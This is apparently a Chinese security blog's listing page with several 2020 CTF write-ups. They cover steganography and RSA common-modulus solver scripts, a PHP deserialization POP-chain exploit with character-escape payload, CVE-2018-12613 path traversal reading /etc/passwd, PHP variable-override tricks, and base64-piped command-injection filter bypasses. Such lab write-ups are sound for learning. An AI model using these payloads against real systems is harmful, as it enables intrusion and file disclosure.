首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,471 阅读
2
SSRF绕过总结
1,166 阅读
3
存储桶接管-漏洞复现
933 阅读
4
k8s安装及部分漏洞复现
873 阅读
5
春秋云镜免费靶场记录10.11
823 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
36
篇与
noob
的结果
2020-11-12
2020科来杯决赛部分wp
损坏的流量包拿到流量包,无法打开,拖进editor里,在最后看到key.txt,于是改后缀为.zip,拿到key.txt,base64转码拿到flag。签到题因为是赛后写的wp,忘记存源码了,在源码中,有提示打出10颗星拿到flag,打到十颗星后F12,在control中看到flag,或者是查看源码,应该会看到一个好像是叫we1come_sdnisc.php的文件,把关于他的这个函数从control中输入,也可以返回flag。ctf的起源拿到之后是一堆base64,于是notpad转化看不出来是啥,想到base64隐写,于是脚本出flag。# coding=utf-8 from urllib3.connectionpool import xrange def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s2)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('flag.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) print(diff) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print(goflag(bin_str)) def goflag(bin_str): res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_str if __name__ == '__main__': solve_stego() 简单的rsa共模攻击,跑脚本出flag。#!/usr/bin/env python # -*- coding: utf-8 -*- from libnum import xgcd, invmod from Crypto.Util.number import * n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557 e1 = 0xf4c1158f c1 = 12051796366524088489284445109295502686341498426965277230069915294159131976231473789977279364263965099422235647723775278060569378071469131866368399394772898224166518089593340803913798327451963589996734323497943301819051718709807518655868569656941242449109980876397661605271517459716669684900920279597477446629607627693769738733623143693170696779851882404994923673483971528314806130892416509854017091137325195201225617407959645788145876202882024723106204183257094755002924708009138560347432552090905489132135154932987521239299578509008290614398700799670928805692609756924823628055245227290288940649158862576448537833423 e2 = 0xf493f7d1 c2 = 16648382384980770705624348910895797622774711113202207693584907182552301186239613809347201161450012615995859738410661452438496756353485538305614949211776668793864984429696790944750894691957799234264508530084026894611228513698963347402329109838109621609770406925700520983387811451074838470370044678634099202003480925903267508744006195455234025325060817223813858985074720872124168142943926467694676717713503559007112874381750005406371400109962943508349497151148446064846096531445037416174913915923050332242843403926133165817310272633884358263778516770288515592959832151762499526363131801945163501999337808208074381212795 s1, s2, _ = xgcd(e1, e2) if s1 < 0: s1 = -s1 c1 = invmod(c1, n) elif s2 < 0: s2 = -s2 c2 = invmod(c2, n) m = (pow(c1, s1, n) * pow(c2, s2, n)) % n print(long_to_bytes(m)) 过去和现在图片隐写,用binwalk分离第一个文件中有flag。说一下总结吧,其实有很多遗憾,离三等奖只差一个题,不会python的毛病被无限放大,流量分析题一点分都没有拿...如果对脚本编写掌握的好的话,至少会再出一个题,学了这么长时间了,python还这么烂属实不应该,开始学python,多做做流量分析题,为之后的赛事做准备,冲冲冲!!!
2020年11月12日
411 阅读
0 评论
3 点赞
2020-10-26
[强网先锋] web辅助
昨天晚上开会复现了web辅助,忙着回宿舍补作业,今天把复现的内容总结一下。index.php代码: <?php @error_reporting(0); require_once "common.php"; require_once "class.php"; if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; } ?> 可以看到是通过username和password传参,然后存入caches,并序列化,然后去找player play.php代码: <?php @error_reporting(0); require_once "common.php"; require_once "class.php"; @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); print_r($player); if ($player->get_admin() === 1){ echo "FPX Champion\n"; } else{ echo "The Shy unstoppable\n"; } ?> 这里看到是将caches的值通过check函数的检查并且通过read函数进行读取,并且反序列化,然后引用使get_admin为1,于是去找player类,在class.php中,代码: <?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ return $this->admin; } } class topsolo{ protected $name; public function __construct($name = 'Riven'){ $this->name = $name; } public function TP(){ if (gettype($this->name) === "function" or gettype($this->name) === "object"){ $name = $this->name; $name(); } } public function __destruct(){ $this->TP(); } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } public function __wakeup(){ if ($this->name !== 'Yasuo'){ $this->name = 'Yasuo'; echo "No Yasuo! No Soul!\n"; } } public function __invoke(){ $this->Gank(); } public function Gank(){ if (stristr($this->name, 'Yasuo')){ echo "Are you orphan?\n"; } else{ echo "Must Be Yasuo!\n"; } } } class jungle{ protected $name = ""; public function __construct($name = "Lee Sin"){ $this->name = $name; } public function KS(){ system("cat /flag"); } public function __toString(){ $this->KS(); return ""; } } ?> 在class.php中,引用了多个魔术方法。分析代码,函数这里是构造了pop链,topsolo类的TP方法进行对象调用,从而触发midsolo的__invoke方法然后触发Gank方法,stristr是对字符串的操作触发了jungle类的__toString方法获得flag,理清拿flag的思路后开始构造payload。common.php代码: <?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ?> 构造payload:内容:构造一个恶意的topsolo对象:$jungle = new $jungle(NULL); $midsolo = new $midsolo($jungle); $topsolo = new $topsolo($midsolo); $a =serialize($topsolo); 绕过:可以看到在这里进行了两次替换和一次过滤,第一次替换是在输入时,在这里会将00替换为00,然后,在下一次读取时,会将00替换为00,于是利用字符逃逸进行对将payload输入。然后还有一次替换,是在check()函数中,只要出现name就不允许输入,这里利用大写S会支持序列化中的十六进制转码来绕过。此时payload:username=0000000000000000000000&password=A;O:7:"topsolo":1:{S:7:"%00%006eame";O:7:"midsolo":2:{S:7:"%00%006eame";O:6:"jungle":1:{S:7:"%00%006eame";N;}}}总结:1.__wakeup()函数绕过:如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。2.字符逃逸,在read和write函数里可以通过对00和00的替换进行字符逃逸。3.对于在序列化中的check函数的过滤,可以使用大写S然后十六进制的过滤方式4.一些魔术方法:__construct(),类的构造函数__destruct(),类的析构函数__toString(),类被当成字符串时的回应方法__invoke(),调用函数的方式,调用一个对象时的回应方法__wakeup(),执行unseriallize()函数时,先会调用这个函数。
2020年10月26日
419 阅读
0 评论
6 点赞
2020-10-21
buuctf刷题(2)
10.15[MRCTF2020]Ez_bypass1.强比较绕过:a[]=1&b[]=2 2.有关is_numeric():用来判断是否为数字或者数字字符串,是为True,否为False,可以使用%00来进行传入,%00无论放在何处都为非数值,%20只能放在数值之后。 网址:https://www.cnblogs.com/xhds/p/12312223.html[GXYCTF2019]禁止套娃1.githack使用方法:python githack.py 网址 2.无参数RCE:使用不带参数的函数套娃来拿flag 3.scandir(.)函数可以用来扫描当前目录下的文件。current(localeconv())永远都是个点,所以通过构造可以扫描目录。current可以用pos代替。 4.array_flip()函数:交换数组的键和值,array_rand()函数:返回数组中的一个随机键名。构造array_rand(array_flip)具有随机性,需要多次请求才可以。 5.array_reverse()函数:将数组以相反的顺序返回。于是可以利用该函数加上next()函数输出flag.php。 6.session_start()指定php使用session,然后使用session_id()函数获取session,因为在PHPSESSID中可以有数字和字母出现。 7.在cookie中加入PHPSESSID=flag.php,然后利用session_id(session_start)就可以获取flag,可以利用file_get_contents()、readfile()、highlight_file()、show_source()中的函数进行读取。10.18[GXYCTF2019]BabyUpload1.常规文件上传,使用.htaccess文件,不过在此处过滤了jpg,使用png文件。[安洵杯 2019]easy_web1.sort /flag读取flag。sort:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。 2.由于对\的过滤没有做好,可以使用ca\t fl\ag的方式读取flag 2.md5强碰撞:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2[BJDCTF2020]Mark loves cat链接:http://hammerking.top/index.php/archives/4/[GWCTF 2019]我有一个数据库1.没有思路,搜索得知是(CVE-2018-12613)后台任意文件包含漏洞,payload:target=db_datadict.php%253f/../../../../../../../../etc/passwd,在本题中是flag的位置,于是修改payload为:target=db_datadict.php%253f/../../../../../../../../flag 引用:https://www.jianshu.com/p/fb9c2ae16d09
2020年10月21日
153 阅读
0 评论
3 点赞
2020-10-21
[BJDCTF2020]Mark loves cat
1.拿到题目,没有思路,于是拿dirsearch扫描目录,发现有.git目录,于是使用GitHack拿到网站源码2.关键代码:`<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;` 3.分析代码,包含flag.php,看到$$x=$$y可知是变量覆盖漏洞,然后需要了解下有关于$$的变量覆盖漏洞。 $$是可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。$$导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值,因此就产生了变量覆盖漏洞。就这道题来说 foreach($_POST as $x => $y){ $$x = $y; } 传入POST参数:$flag=flag,这里就相当于已经将原句变为$$flag=flag,然后再看第二步的foreach()函数 foreach($_GET as $x => $y){ $$x = $$y; } 此时传入GET参数?yds=flag,意思就是$yds=$flag,而$flag就是真正的flag。然后看第三个foreach()函数 foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } 这里就是两个判断,第一个为$flag是否等于$x,第二个为$x是否不等于flag,如果正确返回$handsome,所以构造payload:GET:?yds=flag POST:$flag=flag 然后在源码中拿到flag。引用:https://www.mi1k7ea.com/2019/06/20/PHP%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E/https://www.jianshu.com/p/a4d782e91852
2020年10月21日
151 阅读
0 评论
2 点赞
2020-10-13
buuctf刷题(1)
9.28[GXYCTF2019]Ping Ping Ping:1.过滤空格:$IFS$1或者${IFS}$ 2.使用base64编码绕过对flag的过滤,后面用base64编码后的加上|base64 -d|bash进行绕过,最终payload:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh[极客大挑战 2019]Http:1.扫!!! 2.burp用法
2020年10月13日
179 阅读
0 评论
2 点赞
2020-10-13
noob的小窝
欢迎大家参观我的博客,今后努力学习,及时更新,嘻嘻。一起进步!(´▽`)ノ♪
2020年10月13日
482 阅读
2 评论
7 点赞
1
...
5
6